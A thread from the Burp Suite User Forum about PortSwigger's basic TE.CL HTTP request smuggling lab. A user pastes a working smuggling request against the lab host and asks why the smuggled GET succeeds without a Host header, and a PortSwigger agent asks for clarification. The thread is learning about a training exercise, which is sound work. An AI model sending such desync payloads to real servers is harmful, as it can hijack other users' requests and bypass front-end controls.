Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: HTTP request smuggling, basic TE.CL vulnerability

Mikhail | Last updated: Sep 19, 2024 03:33PM UTC

Hello! Can you help me understand one interesting moment in this lab? In this lab, smuggling request will be succesful. POST / HTTP/1.1 Host: 0a5e00970446a1b38002d12d005f0084.web-security-academy.net Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 68 GET /post?postId=9 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=11 0 But how can we send smuggled request without Header Host? It is necessary for HTTP1.1.

Ben, PortSwigger Agent | Last updated: Sep 23, 2024 01:10PM UTC

Hi Mikhail, Are you able to clarify your question, please?

Mikhail | Last updated: Sep 23, 2024 03:16PM UTC

Hi Ben! This part of request is waiting for a second request on backend GET /post?postId=9 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=11 0 And it's OK! We are sending the second part. Backend have gote something like this GET /post?postId=9 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=11 0 POST / HTTP/1.1 Host: 0a5e00970446a1b38002d12d005f0084.web-security-academy.net Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 ... And it's work! We have response for this request GET /post?postId=9 HTTP/1.1 .... BUT! If we see on this request attentivly, we don't find header "Host:". How can we do this request without header "Host"? HTTP1.1 can't send requests without header "Host".

Ben, PortSwigger Agent | Last updated: Sep 26, 2024 05:26PM UTC